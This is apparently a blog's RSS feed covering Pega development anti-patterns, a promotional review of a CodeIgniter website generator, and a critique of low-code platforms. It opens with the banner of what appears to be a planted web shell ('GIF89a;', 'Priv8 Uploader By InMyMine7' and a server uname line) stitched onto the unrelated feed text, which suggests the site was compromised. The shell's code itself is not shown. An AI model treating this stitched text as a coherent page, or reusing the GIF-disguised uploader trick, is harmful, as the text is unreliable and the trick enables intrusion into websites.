GIF89a;

Priv8 Uploader By InMyMine7

Linux ceb77d267f3e 6.1.0-26-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.112-1 (2024-09-30) x86_64
Low Code – Full Stack Development – Tips and Tricks https://aboutfullstack.com Sun, 19 Jan 2025 18:45:56 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 https://aboutfullstack.com/wp-content/uploads/2024/11/email-150x150.png Low Code – Full Stack Development – Tips and Tricks https://aboutfullstack.com 32 32 What is not Pega best practice? https://aboutfullstack.com/what-is-not-pega-best-practice.htm https://aboutfullstack.com/what-is-not-pega-best-practice.htm#respond Wed, 08 Feb 2023 22:55:05 +0000 https://aboutfullstack.com/?p=11771 Through out my nearly 16 years of experience in Pega I have worked on many different projects and with many different teams. Sometime I am surprised to see some so called best practices which are actually not making any sense and actually not really best practices. So I thought will do a write on them.

Reusing Properties

Don’t get confused. I don’t mean reusing properties with the intended purpose they have created for instead reusing some irrelevant properties already available in the class for completely different purpose. Creating a new property rule doesn’t harm the performance of the system. Pega has got a good rule caching mechanism so only the used rules are counted. Even if there are many properties available in the class, if the name of the property does not match with the requirement feel free to create a new one. Stop using pyNote, pyLabel or pyDescription or any other property for the sake of avoid creating new property rules.

The code you create should be easily readable by one and it will save lot of time for yourself other team members in future. Don’t count on people’s knowledge for understanding which property hold what value at what situation in the application by reusing not relevant properties.

Naming the rules

I see in many applications developers name the rules to represent logic in it instead of the business purpose of the rule. For example consider a simple a requirement where if the amount is more than 100 you want to route the case for approval. So in this situation if you create a when rule “IsAmountLessThan100” you make an obvious mistake as naming the rule with the logic instead of the business purpose. In future if the business logic changes to where approval is needed for amount more than 150 instead of 100 then we are in trouble. Either the when rule IsAmountLessThan100 will hold a logic of Amount<100 or you will have to create a new when rule and change the places where ever you called the previous when rule. By doing this you loose the purpose of introducing the when rule in the first place which is keeping the logic in this single rule. So in this example situation the rule name could have been IsApprovalNeeded with the logic Amount>100. So when amount change you only update the amount in the when rule. Also the same time the application is more readable. In the flow if you use the when rule IsApprovalNeeded the path will go to approval. So reading the flow will become easy.

Using App Extension when not required

Using App Extension is a great way when developing frameworks to allow implementation applications to use the framework without copying rules from framework. But in a situation we build application for a particular client most of the details we don’t need to keep in the app extension. When we refer rules through app extension we sacrifices the referencing and trackability. If app extension is for sure going limit future customization then we could go for it. But most of the time we over do it.

Consider an example where we refer a work class through app extension saying the work class could change in future. Assume this is not a framework build, how frequently the class is going to be renamed. Also if the class is changed it is a code change going to happen within the same application. So the change cannot be addressed only by changing app extension. So it is not a good use case for app extension.

Consider another example where you refer a work basket / work queue name in the flow through an app extension thinking business might change the work basket name. Let say business wants to rename the work basket name, in this you should only update the work basket description as you should be displaying work basket name in screen not the ID. Let say business wants to split the work queue and for some scenarios wants to use a second work basket. In this scenario you will have to have change the flow even if you have used app extension as you will not have two references to the workbasket. So as you can see it is not going to add any value using app extension instead will make it difficult to see where the workbasket has been used.

So always question the decision whether you really need an app extension.

Focusing on guardrail score over anything else

In some of the projects I noticed, developers are too aggressive on reducing guardrail warnings and try different techniques to hide / reduce the warnings. Following are some techniques used to improve the score.

  1. Calling activities through functions in data transform.
  2. Creating a single activity by combining multiple actions in it and controlling the action to perform by parameters.
  3. Creating a single activity violates the best practice then calling it everywhere such as a commit activity.

We need to understand guardrail warnings will provide some inputs on best practices but following them as it is without proper insight will do more harm than help. For a certain scenarios if you need an activity you will have to go for it. If you need to call an activity in after action then create a post activity and call it from there instead of from data transform using function. When you call an activity inside a function you will not have the reference. Quality of your application is mostly depends on how readable and stable your code is than how much guardrail score you have.

Not using appropriate rule type

There are many rules types available in Pega. But most of the time we tend to use what ever we became familiar with. Time to time Pega introduces new features / rule types. Always be open for experimenting with new rule types instead of trying to achieve everything with known rule types.

For example let say you have queued something to run in background when user trigger it from the screen due to the heavy processing involved. How you will notify the user once the processing is complete? Are you going call refresh at time interval until it is done? That is when Pega UI channel notification comes where instead pulling you can use push notification through web socket implementation.

Not using appropriate technology

Pega is a very good BPM tool doesn’t make it a great whole purpose tool. So when solutioning a given problem always see if that needs to be solved within Pega. With the introduction of container based deployments it is easy to create and deploy micro services in any technology and connect them to Pega to solve the specific problem.

I will give an example based on a recent project I worked with where we were using Pega robotics. The problem was we have to connect to email server.

Over use of Job Scheduler

Job scheduler is good for doing batch processing of something at schedule time. But in some projects I see many thing is processed using queue processing including some part of the case processing. When job scheduler process a case and move from one stage to another the holistic view in case designer cannot give good understanding of the case processing. Always the design should be readable and should limit the possibility of introducing errors by new developers. For example in your project if you resolve all the cases at night using a job scheduler think whether you really need that. Instead you could add parallel flow when initiating the case which will resolve the case after no of hours based on a SLA rule at case level. This way load will be evenly distributed to the util nodes throughout the day instead of accumulating more loads at certain time. As more and more job scheduler added to the application to run at night you will start noticing performance decrease for the batch processing.

Having too many disconnected actions

In many projects, I have noticed developers tend to call several actions on click of button or link to achieve something. This introduce several issues. First one is performance issue and many sequential calls needs to be made to the server will have visible delay for users. Sometimes users will think click is not registered and could try clicking again. Although the Pega’s wait icon can be displayed to give visual feedback to users to let them know it is progressing the experience will not good for users. Second issue is many disconnected actions will make debugging difficult also there is no flow view on how things are moving. Always think if the sequence of actions can be organized in alternative stage and achieved using OOTB case processing. If there is no way using OOTB way, try to limit the number of actions by grouping things in single action call to server.

Summary

We have went through about some of the bad practices which we shouldn’t follow. Lets end this post with the quick checklist of what makes good design and implementation best practice.

  1. Use case stages and steps as much as possible.
  2. Avoid calling many actions on single click of button or link.
  3. Explore with many rule type available and find very appropriate rule type for the given problem.
  4. Avoid using job scheduler for part of the case processing, which should be handled within the case
  5. Avoid app extension when not needed. When something changes if you also have to change the rule then no point of referring it through app extension.

I know there will be many other points you want to add to this list. Write about the bad practice you noticed in comments below for others to know. Thank you for reading.

]]>
https://aboutfullstack.com/what-is-not-pega-best-practice.htm/feed 0
Creating a CodeIgniter website using website generator https://aboutfullstack.com/creating-a-codeigniter-website-using-website-generator.htm https://aboutfullstack.com/creating-a-codeigniter-website-using-website-generator.htm#respond Mon, 22 Aug 2022 09:48:34 +0000 https://aboutfullstack.com/?p=11717 There are many website generators but most of them provided as SaaS. So you will not be able to download the generated website but the code is hosted in the provider side. So you have to keep paying monthly payment as long as you are running your website. Also the customizations are very limited as the only customizations possible are the ones provided by their website editors. Shopify and WiXX are examples in this category.

There are also other solutions to build websites or APIs but the customizations are possible through plugin and you will have to learn their app specific requirement before you customize it for your needs. Strapi is in an example in this category.

Then there comes application frameworks which provide a platform for building applications faster. It is faster to build application when you build web applications with frameworks but when you start building many websites you will feel like you are repeating many things in each project. This post is about a CodeIgniter website builder by thephpcode.com which provides a way to generate applications faster in CodeIgniter framework.

Features

The code generator support CRUD+ applications building with roles based access control. Also social login by Google and Facebook is supported by the generated website. Comes with a basic admin dashboard to manage user roles and permissions.

Notification options allows to set notifications based on actions. Actions can be secured by permissions. Permissions are allowed by user roles.

The generated code can be downloaded and edited for further customization. Also the demo of generated website is possible without downloading the website. So users can explore the entire website generation feature without spending money on it.

Many fields types are support such as dynamic dropdown allows to link other modules are dropdown select option for a module. For example a blog module can have a field called category and it can refer category module for the dropdown options.

Defining fields in PHP Code Generator

Validations for the fields make it easy to choose appropriate validation for the fields and also support regex pattern if none of the predefined validations are not suitable.

Concepts

The website generator by thephpcode.com comes with module concept where a module is mapped to a controller in CodeIgniter and to a database table. So the fields defined in the module are columns in the mapped table. Actions in the modules are route functions in the controller.

Also the PCG Academy explains the concepts in detail at https://thephpcode.com/academy.html

Pricing

It comes with credit based system where user buys credits and use it when downloading the generated website. Also the pricing is way cheaper and one time. It cost only $5 for generating a single website and cost only $3 /website if you generate multiple websites.

Conclusion

The CodeIgniter website generator by thephpcode.com is very affordable and as this generates clean CodeIgnier website anyone with little bit of CodeIgniter framework knowledge can fast track their next website development project.

Let me know the questions in comments and I will update this post based on your questions/comments.

]]>
https://aboutfullstack.com/creating-a-codeigniter-website-using-website-generator.htm/feed 0
Is Low Code and No Code really good? https://aboutfullstack.com/is-low-code-and-no-code-really-good.htm https://aboutfullstack.com/is-low-code-and-no-code-really-good.htm#respond Wed, 06 Jul 2022 20:27:41 +0000 https://aboutfullstack.com/?p=11622 Now a days every one talks about low code and no code platforms. Also we can see faster adoption to low code and no code platforms. For some clients we can see a real use case and also for some clients we see they adopt with fear of missing out when comparing with their competitors. But if you really thing about it, Low code may not be the choice for your business. In this post we will analyze and see in which use case it cannot be a good decision. We will start with small introduction who ever new to the Low code or No code concept.

What is Low Code or No Code?

If you remember not long time ago we started with assembly programing where we create apps for solving specific problem in assembly which is very close to the operating system. Then came many programing languages introduced ways to create program at higher level and will be compiled to executable by the compilers. This made programing faster and was easy to understand by many people. Then came frameworks on top of programing for making thing more easier by introducing many general purpose libraries which can be used along the way when developing applications.

Then comes the Low code or No code platforms where business developers (aka citizen developers) can develop application on top of that. With Low code platform you create app on top of an application which executes the applications created by the business developers. The advantage of the low code platform is anyone can create apps through graphical user interfaces. So anyone who understand the business and some knowledge in the platform could create an app and launch it in production immediatly.

So what is the problem?

So with this everything looks good, then what is the real problem? One of the main problem is you are working at a higher level and when the application runs it executes on top of many layers above assembly executable. It costs lot of processing powers and memory so introduce additional operation cost over the time. Also the size of the program will be many time high when compare to the equivalent build using usual programing languages.

There will be less control on how the app is going to execute when it comes to query database and make service calls, so you will not have many option to choose from to tune the app as you want it for the required performance.

When started using the Low code platform you are becoming more dependent on the platform where the migration out from the platform will be difficult since you will have many data which can only be handled by the specific platform. In tradition programing you could easily migrate the data as most of the logic and data will be separated clearly.

The system requirement for most of the low code platform is very high and they charge per nodes you cannot easily expand as your load increase. When it comes to traditional programing languages such as you own the entire code and you could deploy as many as nodes based on the production deployment.

What is the solution?

So what would be the effective solution? A solution should help business developers create the app and the same time doesn’t run as a low code app but rather generate an app on traditional programing languages. Code Generators come to rescue. Yes, code generators are good as they speed up development and the same time generate apps on traditional programing languages which can be updated anyone knows the programing languages.

There are many code generators to generate app such code generators for Java Spring boot apps and Code Generators for PHP applications.

Please let us know what do you think? We will learn from you.

]]>
https://aboutfullstack.com/is-low-code-and-no-code-really-good.htm/feed 0